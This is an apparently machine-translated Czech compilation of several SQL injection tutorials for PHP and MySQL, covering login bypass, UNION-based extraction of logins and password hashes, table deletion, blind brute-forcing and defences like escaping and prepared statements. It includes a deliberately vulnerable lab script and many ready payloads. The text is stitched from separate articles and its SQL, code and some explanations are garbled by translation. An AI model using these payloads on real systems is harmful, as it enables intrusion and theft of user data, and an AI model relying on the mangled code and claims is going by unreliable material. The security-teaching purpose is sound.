V tomto případě kód nekontroluje neplatný vstup dat. Hodnoty se předávají přímo ze vstupního formuláře do SQL dotazu. V nejlepším případě zde uživatel zadá své uživatelské jméno a heslo. Jaký je nejhorší scénář? Zkusme tento formulář hacknout. To lze provést předáním „připravených“ dat. Zkusme se přihlásit jako první uživatel z databáze a ve většině případů se jedná o administrátorský účet. Za tímto účelem předáme speciální řetězec namísto zadávání přihlašovacích údajů:

"NEBO 1=1; --

První citace může být také jednoduchá, takže jeden pokus o hacknutí nemusí stačit. Na konci je středník a dvě pomlčky, aby se vše, co následuje, změnilo v komentář. V důsledku toho bude proveden následující SQL dotaz:

SELECT id, přihlášení FROM users WHERE login = ";" NEBO 1=1 LIMIT 0,1; - a heslo = hash(“;Nějaké heslo”)

Vrátí prvního uživatele z databáze a případně se jako tento uživatel přihlásí do aplikace. Dobrým krokem by bylo přidat LIMIT pro přihlášení jako každý jednotlivý uživatel. To je jediná věc potřebná k procházení každé hodnoty.

Vážnější způsoby

V předchozím příkladu není vše tak děsivé. Možnosti v ovládacím panelu správce jsou vždy omezené a skutečně rozbití webu by dalo hodně práce. Ale útok prostřednictvím SQL injection může vést k mnohem většímu poškození systému. Přemýšlejte o tom, kolik aplikací je vytvořeno s hlavní tabulkou „uživatelé“ a co by se stalo, kdyby útočník zadal kód takto do nechráněné podoby:

Moje oblíbené přihlašovací jméno"; uživatelé DROP TABLE; --

Tabulka "uživatelé" bude smazána. To je jeden z důvodů, proč zálohovat databáze častěji.

_GET parametry

Všechny parametry vyplněné prostřednictvím formuláře jsou přenášeny na server jednou ze dvou metod - GET nebo POST. Nejběžnějším parametrem předávaným přes GET je id. Toto je jedno z nejzranitelnějších míst pro útoky a nezáleží na tom, jaký typ adresy URL používáte - ` http://example.com/ users/?id=1` nebo ` http://example.com/ uživatelé/1`, nebo ` http://......./.../ pošta/35 `.

Co se stane, když do URL vložíme následující kód?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Pravděpodobně takový požadavek vrátí uživateli přihlašovací jméno a... hash jeho hesla. První část požadavku `AND 1=0` změní to, co mu předchází, na nepravdu, takže nebudou přijaty žádné záznamy. A druhá část požadavku vrátí data v podobě připravených dat. A protože první parametr je id, další bude přihlašovací jméno uživatele a hash jeho hesla a některé další parametry. Existuje mnoho programů, které používají hrubou sílu k dekódování hesla, jako je ten v příkladu. A protože uživatel může používat stejné heslo pro různé služby, je možné k nim získat přístup.

A co je zajímavé: je naprosto nemožné bránit se tomuto typu útoku pomocí metod jako `mysql_real_escape_string`, `addslashes` atd. d. V zásadě neexistuje způsob, jak se takovému útoku vyhnout, takže pokud jsou parametry předány takto:

"SELECT id, login, email, param1 FROM users WHERE id = " . addlashes($_GET["id"]);"

problémy nezmizí.

Escapování znaků v řetězci

Když jsem byl v programování nováčkem, měl jsem problém pracovat s kódováním. Nechápal jsem, jaký je mezi nimi rozdíl, proč používat UTF-8, když potřebujete UTF-16, proč databáze vždy nastaví kódování na latin1. Když jsem tomu všemu konečně začal rozumět, zjistil jsem, že by bylo méně problémů, kdybych vše držel v jednom standardu kódování. Při třídění toho všeho jsem si také všiml bezpečnostních problémů, které vznikají při převodu z jednoho kódování do druhého.

Problémům popsaným ve většině předchozích příkladů se lze vyhnout použitím jednoduchých uvozovek v dotazech. Pokud použijete addlashes() , útoky SQL injection, které se spoléhají na jednoduché uvozovky uvozené zpětným lomítkem, selžou. Ale takový útok může fungovat, pokud jednoduše nahradíte znak kódem 0xbf27 , addlashes() jej převede na znak s kódem 0xbf5c27 – a to je zcela platný znak jednoduché uvozovky. Jinými slovy, `뼧` projde addlashes() a poté jej mapování MySQL převede na dva znaky 0xbf (¿) a 0x27 (‘).

"SELECT * FROM users WHERE login = ""; . addlashes($_GET["login"]) . ";"";

Tento příklad lze hacknout předáním 뼧 nebo 1=1; -- v přihlašovacím poli ve formuláři. SQL engine vygeneruje finální dotaz takto:

SELECT * FROM users WHERE login = "¿" NEBO 1=1; --

A vrátí prvního uživatele z databáze.

Ochrana

Jak chránit aplikaci? Existuje spousta metod, jejichž použití neudělá aplikaci zcela nezranitelnou, ale alespoň zvýší její bezpečnost.

Pomocí mysql_real_escape_string

Funkce addlashes() je nespolehlivá, protože neumožňuje mnoho případů hackování. mysql_real_escape_string takové problémy nemá

Pomocí MySQLi

Toto rozšíření MySQL může pracovat se souvisejícími parametry:

$stmt = $db->prepare("aktualizovat parametr uets set = ? kde id =?"); $stmt->bind_param("si", $jméno, $id); $stmt->execute();

Pomocí PDO

Dlouhá cesta k nahrazení parametrů:

$dbh = nové PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $heslo); $stmt = $dbh->prepare("INSERT DO REGISTRY (jméno, hodnota) HODNOTY (:jméno, :hodnota)"); $stmt->bindParam(":name", $name); $stmt->bindParam(":hodnota", $hodnota); // vložení jednoho řádku $name = "one"; $hodnota = 1; $stmt->execute();

Krátká cesta:

$dbh = nové PDO("mysql:dbname=testdb;host=127.0.0.1", $user, $heslo); $stmt = $dbh->prepare("AKTUALIZOVAT SADA lidí jméno = :nové_jméno WHERE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Pomocí ORM

Používejte ORM a PDO a parametry vazby (použijte vazbu). Vyhněte se SQL ve svém kódu, pokud ve svém kódu vidíte SQL, je s ním něco špatně.

ORM se postará o bezpečnost v úzkých hrdlech při ověřování kódu a parametrů.

závěry

Účelem této série není poskytnout kompletního průvodce hackerskými weby, ale zajistit bezpečnost aplikací a zabránit útokům z jakéhokoli zdroje. Tento článek jsem se snažil napsat nejen pro programátory – ti by si měli být vědomi všech hrozeb v kódu a vědět, jak jim předcházet, ale také pro inženýry kvality – protože jejich úkolem je takové problémy sledovat a hlásit .

Podstata SQL injekcí

Pravděpodobně jste již slyšeli vtip z internetu: “ Proč je to stejné ve všech lekcích kreslení: Například lekce kreslení sovy. Nejprve půl hodiny detailně kreslíme oko sovy. A pak - jednou - za pět minut - nakreslíme zbytek sovy».

Dokonce je o tom i obrázek:

O SQL injekci je spousta materiálu: články, knihy, videokurzy (placené i bezplatné). Málo z nich však dodává pochopení v této otázce. Zvláště pokud jste začátečník. Dobře si pamatuji své pocity: tady je kruh, tady je zbytek sovy...

Účelem této poznámky je přitáhnout oko na sovu a poskytnout normální, jednoduché vysvětlení, co jsou SQL injekce, jaká je jejich podstata, jak jsou nebezpečné a proč.

Pro experimenty budeme mít velmi jednoduchý skript, který je zranitelný vůči SQL injection:

Pro přístup do regionální knihovny Bobruisk zadejte své přihlašovací údaje:

Zadejte své jméno

Zadejte heslo


dotaz("SET NAMES UTF8"); $mysqli->query("SET CHARACTER SET UTF8"); $mysqli->query("SET character_set_client = UTF8"); $mysqli->query("SET character_set_connection = UTF8"); $mysqli->query("SET character_set_results = UTF8"); ) $jméno = filter_input(INPUT_GET, "jméno"); $password = filter_input(INPUT_GET, "heslo"); if ($result = $mysqli->query("SELECT * FROM `členů` WHERE name = "$name" AND password = $password")) ( while ($obj = $result->fetch_object()) ( echo "

Tvé jméno:$obj->name

Tvůj stav:$obj->stav

Knihy, které máte k dispozici:$obj->knihy


"; ) ) else ( printf("Chyba: %sn", $mysqli->error); ) $mysqli->close(); ?>

Mnohem víc pochopíte, když se mnou všechno uděláte. Tak tady to je. Obsahuje dva soubory: index.php A db_library.sql. Umístěte soubor index.php kamkoli na server – toto je náš zranitelný skript. A soubor db_library.sql je potřeba naimportovat např. pomocí phpMyAdmin.

V souboru index.php je uživatelské jméno databáze nastaveno na root a heslo je prázdné. Svá data můžete zadat úpravou řádku:

$mysqli = new mysqli("localhost", "root", "", "db_library");

Podle legendy se jedná o přihlašovací formulář do online verze krajské knihovny Bobruisk. Již jsme dostali pověření: uživatelské jméno - Demo, heslo - 111.

Vstupme do nich a uvidíme:

Naše pověření byly přijaty a na obrazovkách se zobrazí naše jméno, status a knihy, které máme k dispozici. Můžete zkusit, s jakýmikoli jinými údaji (pokud si změníte jméno nebo heslo), nebudeme se moci přihlásit a prohlížet knihy dostupné ke čtení. Nemáme také žádný způsob, jak zjistit, které knihy jsou dostupné ostatním, protože neznáme jejich uživatelské jméno a heslo.

Podívejme se na zdrojový kód, abychom pochopili, jak k požadavku na databázi došlo:
Slovo VYBRAT v dotazu SQL ukazuje, jaká data je třeba načíst. Můžete například zadat jméno SELECT nebo jméno SELECT, heslo. Pak by v prvním případě bylo z tabulky získáno pouze jméno a ve druhém pouze jméno a heslo. Hvězdička říká, že musíte získat všechny hodnoty. Tito. SELECT * - to znamená získat všechny hodnoty.

Zříká, odkud je potřebujete získat. Za FROM následuje název tabulky, tj. položka FROM `members` říká získat z tabulky `members`.

Dále KDE, pokud jste studovali nějaké programovací jazyky, pak se toto slovo nejvíce podobá „If“. A pak jsou podmínky, tyto podmínky mohou být pravdivé (1) nebo nepravdivé (0). V našem případě

(jméno = ‚$name‘) AND (heslo = ‚$heslo‘)

znamená, že podmínka bude pravdivá, pokud se předaná proměnná $jméno rovná hodnotě pole jména v tabulce a předaná proměnná '$heslo se rovná hodnotě pole hesla v tabulce. Pokud není splněna alespoň jedna podmínka (nesprávné uživatelské jméno nebo heslo), pak se z tabulky nic nevezme, tj. výraz SELECT * FROM `členové` WHERE name = '$name' AND password ='$password' znamená : in v tabulce `členové`, převezměte hodnoty všech polí, pokud je pro ně splněna podmínka - předané uživatelské jméno a heslo se shodují s těmi, které najdete v tabulce.

To je jasné. Pojďme nyní například vložit jednu uvozovku s uživatelským jménem:

Adresní řádek:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Nebyla přijata žádná data, místo toho se zobrazuje chyba:
Když jsme zadali správné údaje, naše žádost vypadala takto:
Přidáním nabídky se náš dotaz stane:
Dal jsem další mezery pro přehlednost, tj. dostaneme požadavek
Mimochodem, požadavek je v syntaxi správný. A hned po něm, bez oddělovačů, požadavek pokračuje:

"A heslo="111"

To je to, co všechno porušuje, protože počet úvodních a závěrečných uvozovek není stejný. Můžete například vložit další citát:
Adresní řádek:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Chyba zmizela, ale požadavku to nepřidalo žádný význam. Vadí nám nesmyslný ocas žádosti. Jak se toho můžeme zbavit?

Existuje odpověď - to jsou komentáře.

Komentáře v MySQL lze zadat třemi způsoby:

  1. # (hash - funguje až do konce řádku)
  2. - (dvě pomlčky - pracujte až do konce řádku, po dvou pomlčkách potřebujete mezeru)
  3. /* toto je komentář */ skupina čtyř postav - vše uvnitř je komentář, vše před nebo za touto skupinou postav se za komentář nepovažuje.
Vložme do našeho dotazu komentář s jednou uvozovkou, za tuto uvozovku dáme znaménko komentáře pro zahození konce a znaménko +, které označuje mezeru, takže dotaz dopadá takto:
Adresní řádek:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Nejenže chyba zmizela, ale uživateli Demo se zobrazila správná data. Od této chvíle má naše žádost formu
přeci culík -+ ‘A heslo =’111’ změnil na komentář a již neovlivňuje požadavek.

Podívejte se znovu na nový požadavek:
A už to nekontroluje heslo! Tito. Když známe jména legitimních uživatelů, ale neznáme jejich hesla, můžeme zobrazit jejich osobní údaje. Tito. Již jsme začali využívat SQL injection.

Bohužel neznám žádná legitimní jména a musím vymyslet něco jiného.

Podívejme se blíže na tuto část žádosti:
Pamatujete si AND, který se používá v prvním dotazu? Znamená logické operace AND. Dovolte mi připomenout, že logická operace „AND“ vytvoří „true“ (1) pouze tehdy, jsou-li oba výrazy pravdivé. Ale logický operátor "OR" vytváří "true" (1), i když alespoň jeden z výrazů je pravdivý. Tito. výraz
bude vždy pravda, vždy vrátí 1. Protože jeden ze dvou porovnávaných výrazů vždy vrátí 1.

Tito. musíme vytvořit výraz, který vypadá takto:
Adresní řádek:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ NEBO 1 -+ &password=111

Výsledek:

Výsledek je vynikající! Dostali jsme seznam všech záznamů v tabulce.

ORDER BY a UNION jsou hlavními přáteli SQL injections

Již jsme obdrželi data, která byla nepřístupná těm, kteří neměli platné uživatelské jméno a heslo. Mohu ještě něco získat? Ano, můžete získat úplný výpis této tabulky (připomínám, že stále nemáme hesla. Navíc můžeme získat všechna data ze všech databází na tomto serveru jednou malou dírkou!

SVAZ umožňuje kombinovat SQL dotazy. V reálném životě jsou mé úkoly jednoduché, a tedy jednoduché dotazy do databází a schopností SVAZ Já to nepoužívám. Ale pro SQL injekce neexistuje cennější slovo než toto.

SVAZ umožňuje poměrně flexibilně kombinovat dotazy SQL s SELECT, včetně dotazů z různých databází. Existuje však důležitý požadavek na syntax: počet sloupců v prvním SELECTu se musí rovnat počtu sloupců v druhém SELECTu.

SEŘADIT PODLE nastavuje řazení dat přijatých z tabulky. Můžete třídit podle názvu sloupce nebo podle jeho čísla. Pokud navíc neexistuje sloupec s tímto číslem, zobrazí se chyba:

Adresní řádek:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ OBJEDNAT 1 -+ &password=111

Žádost vypadá takto:
Uživatelské jméno jsme nahradili -1, aby se nezobrazovala žádná data.

Chyba není, u požadavků také není chyba
A tady je žádost
odpovídá adresnímu řádku

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ OBJEDNAT DO 6 -+ &password=111

Zobrazila se mi chyba

To znamená, že data jsou vybírána z tabulky v pěti sloupcích.

Náš dotaz vytváříme pomocí UNION:

Jak jsem řekl, počet polí by měl být stejný v obou SELECTech, ale to, co je v těchto polích, není příliš důležité. Můžete například jednoduše zadat čísla – a právě ta se zobrazí. Můžete zadat NULL - pak se místo pole nezobrazí nic.
Adresní řádek:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &password=111

Dalším způsobem, jak zjistit počet sloupců, je použití stejné UNION. Pomocí žebříku přidáme počet sloupců:
Všechny vyvolají stejnou chybu:

Dělejte to, dokud chybová zpráva nezmizí.

Vezměte prosím na vědomí, že obsah některých polí UNION SELECT 1,2,3,4,5 se zobrazí na obrazovce. Místo čísel můžete zadat funkce.

Co napsat do SELECT

Existují některé funkce, které lze psát přímo v UNION:

  • DATABÁZE()- zobrazí název aktuální databáze
  • SOUČASNÝ UŽIVATEL()- zobrazuje uživatelské jméno a název hostitele
  • @@datadir- zobrazí absolutní cestu k databázi
  • UŽIVATEL()- Uživatelské jméno
  • VERZE()- verze databáze
V našem příkladu jsou zobrazena pole 2, 4 a 5. Tj. můžeme použít kterékoli z těchto polí.

Pomocí DATABASE() v UNION SELECT

Adresa:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Výsledek:

Získání názvů tabulek, polí a výpisu databáze

V databázi informační_schéma je tam tabulka tzv tabulky. Tato tabulka obsahuje seznam všech tabulek, které jsou přítomny ve všech databázích na tomto serveru. Naše tabulky můžeme vybrat vyhledáváním v poli schéma_tabulky Název naší databáze je ‚db_library‘ (název jsme našli pomocí DATABASE()).

Tomu se říká kompletní technika UNION. Na internetu je o něm spousta materiálů. Na mém serveru MySQL nefunguje úplná technika UNION. Zobrazuje se mi chyba
Nefunguje to kvůli zakřivení ramen, protože tato technika také nepřináší výsledky s sqlmap:

Něco se pokazilo s plnou technikou UNION (mohlo to být kvůli omezení počtu načtených položek). Návrat k částečné technice UNION

To může být způsobeno MySQL verze 5.6. Protože Nemohu uvádět příklady z praxe a nemám zájem přepisovat nefunkční příkazy jiných lidí – nyní i beze mě je na internetu tolik „velkých teoretiků“, jak chcete, a tak jsem se rozhodl okamžitě přejít na s ohledem na techniku ​​částečné UNION. Ale to není nejjednodušší technika a článek je už docela dlouhý.

V další části článku se budeme věnovat částečné technice UNION, s její pomocí získáme všechna data na serveru: názvy databází, názvy jejich tabulek a polí v těchto tabulkách i jejich obsah . Zatímco čekáte, až se objeví druhý díl, procvičujte si, přečtěte si o SQL injections a technice UNION, ke čtení doporučujeme také následující články:

P.S. ach jo, zapomněl jsem na LIMIT. Příště budu také mluvit o roli LIMIT v SQL injections.

Injekce SQL – vkládání škodlivého kódu do databázových dotazů – jsou nejnebezpečnějším typem útoku. Pomocí SQL injekcí může útočník nejen získat soukromé informace z databáze, ale za určitých podmínek v ní také provádět změny.

Ke zranitelnosti vkládání SQL dochází, protože informace o uživateli jsou zahrnuty do databázového dotazu bez řádného zpracování: aby bylo zajištěno, že skript nebude zranitelný, je nutné zajistit, aby všechna uživatelská data skončila ve všech databázových dotazech v uniklé podobě. Požadavek univerzálnosti je základním kamenem: porušení spáchané v jednom skriptu činí celý systém zranitelným.

Příklad zranitelnosti

Předpokládejme, že existuje skript, který zobrazuje seznam uživatelů z daného města, přičemž jako parametr GET bere id města. Skript bude přístupný přes HTTP na /users.php?cityid=20

Ve výše uvedeném skriptu vývojář vloží parametr GET do dotazu SQL, což znamená, že parametr GET bude vždy obsahovat číslo. Útočník by mohl předat řetězec jako parametr a tím poškodit požadavek. Například bude přistupovat ke skriptu jako /users.php?cityid=20; DELETE * OD uživatelů
SQL dotaz bude vypadat takto:

Požadavek se provede a skript vrátí nejen uživatele ze zadaného města, ale také seznam všech uživatelů, jejichž heslo se zobrazí místo jejich skutečného jména.

Jak se chránit?

Uzavřeme uživatelské informace do jednoduchých uvozovek. Pomůže to?

Z výše uvedeného příkladu můžete vidět, že uzavření jednoduchých uvozovek nestačí. Musíte také escapovat všechny uvozovky obsažené v řetězci. K tomu poskytuje PHP funkci mysql_real_escape_string(), která přidává zpětné lomítko před každou uvozovku, backquote a některé další speciální znaky. Podívejme se na kód:

Abychom se tedy chránili před injekcemi SQL, musí být všechny externí parametry, které mohou obsahovat text, zpracovány pomocí mysql_real_escape_string() a jsou uzavřeny v jednoduchých uvozovkách.

Pokud víte, že parametr by měl mít číselnou hodnotu, lze jej pomocí funkce explicitně převést na číselnou formu intval() nebo floatval(). V tomto příkladu bychom mohli použít:

$sql = "SELECT uživatelské jméno, skutečné jméno
OD uživatelů
WHERE cityid=""
.intval ( $_GET ["cityid" ] ) .""" ;

Rozdíly mezi mysql_real_escape_string() a mysql_escape_string()

mysql_real_escape_string() je vylepšená verze funkce mysql_escape_string(), která se široce používá ke generování bezpečných dotazů do databáze MySQL. Rozdíl mezi těmito dvěma funkcemi je ten, že mysql_real_escape_string() funguje správně s vícebajtovým kódováním.

Předpokládejme, že ve zpracovávaných datech je znak (řekněme v UTF-8), jehož kód se skládá ze dvou bajtů – hexadecimálních 27 a 2B (desetinných 39 a 43). mysql_escape_string() považuje každý bajt dat, který mu byl předán, jako samostatný znak (přesněji jako kód samostatného znaku) a rozhodne, že sekvence bajtů 27 a 2B jsou dva různé znaky: jedna uvozovka (") a znak plus (+). Protože funkce přijímá uvozovky jako speciální znak, bude před byte s kódem 27 přidáno lomítko (\), které je ve skutečnosti součástí nějakého neškodného znaku. V důsledku toho budou data odeslána databáze ve zkreslené podobě.

Stojí za zmínku, že mysql_real_escape_string() funguje správně ve všech případech a může zcela nahradit mysql_escape_string().

mysql_real_escape_string() je v PHP k dispozici od verze 4.3.0.

Další příklady

Podívali jsme se na nejjednodušší příklad, ale v praxi může být zranitelný dotaz složitější a jeho výsledky se uživateli nezobrazí. Dále budeme zvažovat příklady SQL injekcí v některých složitějších případech, aniž bychom si činili nárok na úplnost.

Injekce ve složitých dotazech

V nejjednodušším příkladu bylo možné vložit kód na konec SQL dotazu. V praxi mohou být na konci SQL dotazu další podmínky, operátory řazení, seskupení a další SQL konstrukce. V každém konkrétním případě se útočník pokusí vložit škodlivý kus tak, aby požadavek jako celek zůstal syntakticky správný, ale plnil jinou funkci. Zde se podíváme na nejjednodušší příklad zranitelného požadavku s další podmínkou.

V důsledku toho věková podmínka<35 neovlivní vzorek, protože Operátor OR má nižší prioritu než operátor AND a WHERE z výše uvedeného dotazu lze zapsat jinak jako WHERE (cityid="20" AND 1 ) OR ("1" AND věk<"35" ) (pamatujte, že výraz WHERE 1 je vždy pravdivý). Výsledkem je, že podmínce budou vyhovovat jak řádky s cityid="20", tak řádky s věkem<35, причем наличие последних не обязательно.

U složitých dotazů vyžadují úspěšné injekce SQL určitou kreativitu, ale dá se očekávat, že útočníci nějakou budou mít.

Výsledky dotazu se uživateli nezobrazují

Je možné, že dotaz, jehož výsledky se uživateli nezobrazují, je zranitelný. Může to být například pomocný požadavek:

$sql = "SELECT počet(*)
OD uživatelů
WHERE userid=""
.$_GET [ "uživatelské jméno" ] .""" ;

Výše uvedený dotaz pouze zkontroluje přítomnost uživatele s daným uživatelským jménem: pokud vrátí jakoukoli nenulovou hodnotu, zobrazí se uživatelský profil s odpovídajícím uživatelským jménem, ​​ale pokud se vrátí 0 (to znamená, že neexistují žádní uživatelé splňující kritéria požadavku), zobrazí se zpráva „uživatel nenalezen“.

V tomto případě je heslo (nebo jiný údaj) určeno hrubou silou. Útočník předá řetězec jako parametr userid 2" A heslo jako "a%". Konečná žádost:

SELECT počet (*) FROM users WHERE userid="2" A heslo jako "a%"

Útočník obdrží „uživatel nenalezen“, pokud heslo nezačíná písmenem „a“, nebo standardní stránka uživatelského profilu, jinak. První písmeno hesla je určeno hrubou silou, poté druhé atd.

závěry

  • Všechny dotazy, které používají externí data, musí být chráněny před injekcemi SQL. Externí data lze přenášet nejen jako parametry GET, ale také pomocí metody POST, převzaté ze souboru COOKIE, ze stránek třetích stran nebo z databáze, do které měl uživatel možnost zadat informace.
  • Všechny číselné parametry by měly být explicitně převedeny na číselnou formu pomocí funkcí intval() A floatval()
  • Všechny parametry řetězce by měly být escapovány pomocí mysql_real_escape_string() a dát to do uvozovek.
  • Pokud je konstrukce SQL injection obtížná, neměli byste očekávat, že útočník nepřijde na to, jak to udělat. To platí zejména pro motory, jejichž zdrojový kód je veřejný.

Hodně štěstí při vytváření bezpečných aplikací!